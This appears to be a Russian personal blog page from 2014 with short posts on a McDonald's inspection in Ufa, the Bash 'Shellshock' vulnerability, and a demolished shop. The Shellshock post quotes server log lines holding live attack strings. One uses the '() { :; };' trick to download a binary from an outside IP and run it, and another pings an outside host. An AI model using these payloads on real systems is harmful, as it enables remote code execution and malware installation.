September 25th, 2014

default

(no subject)

Специалисты Роспотребнадзора не нашли нарушений в работе ресторанов сети "Макдоналдс" в Уфе, заведения работают в обычном режиме, сообщил РИА Новости представитель ведомства в четверг.
fr. http://www.rapsinews.ru/incident_news/20140925/272193987.html

Ожидаю следующей новостью сообщение о том, что прокуратурой организована проверка деятельности уфимского отделения роспотребнадзора :)
default

WTF?!

В Bash есть переменные окружения, которые можно задавать согласно специальному синтаксису при вызове оболочки. Оболочка запускается и задает значения переменных, прописанные в синтаксисе. Уязвимость заключается в том, что непосредственно в самом задаваемом значении переменной можно дописать произвольные команды, которые оболочка также выполнит. В случае если Bash назначена системной оболочкой по умолчанию, она может быть использована злоумышленниками для проведения сетевых атак на серверы с применением веб-запросов.

fr. http://pda.cnews.ru/news/index.shtml?top/2014/09/25/587002

типа люди открыли для себя bash и то, что он может запускать команды из переменных окружения?! :)

куда катится этот мир...

upd: в наглоязычном приписка: "Authentication: Not required to exploit" и приписка про "AcceptEnv" И OpenSSL...
upd1: ой, а в логах еще смешнее:
162.253.66.76 - - [25/Sep/2014:07:27:07 +0400] "GET / HTTP/1.0" 400 317 "() { :; }; wget -O /tmp/besh http://162.253.66.76/nginx; chmod 777 /tmp/besh; /tmp/besh;" "Thanks-Rob"
89.207.135.125 - - [25/Sep/2014:12:12:38 +0400] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 46266 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"

видимо, всякие web-traceroute, ping итп точно уже расхакали :)
default

А вот пример роспотребнадзора...

...когда блевачечная воняет на всю округу, но к ней нет никаких претензий, так как внезапно по приезду комиссии она перестает пахнуть и шуметь:
http://www.vesti.ru/videos/show/vid/621193/cid/3041/

Это же не макдональдс.

ps: на вднх сносят последнюю блевачечную из 90-х с привлечением пилиции:

вокруг, помимо рабочих и их машин, куча непонятного народа и один жип.
Безо всякого роспотребнадзорства.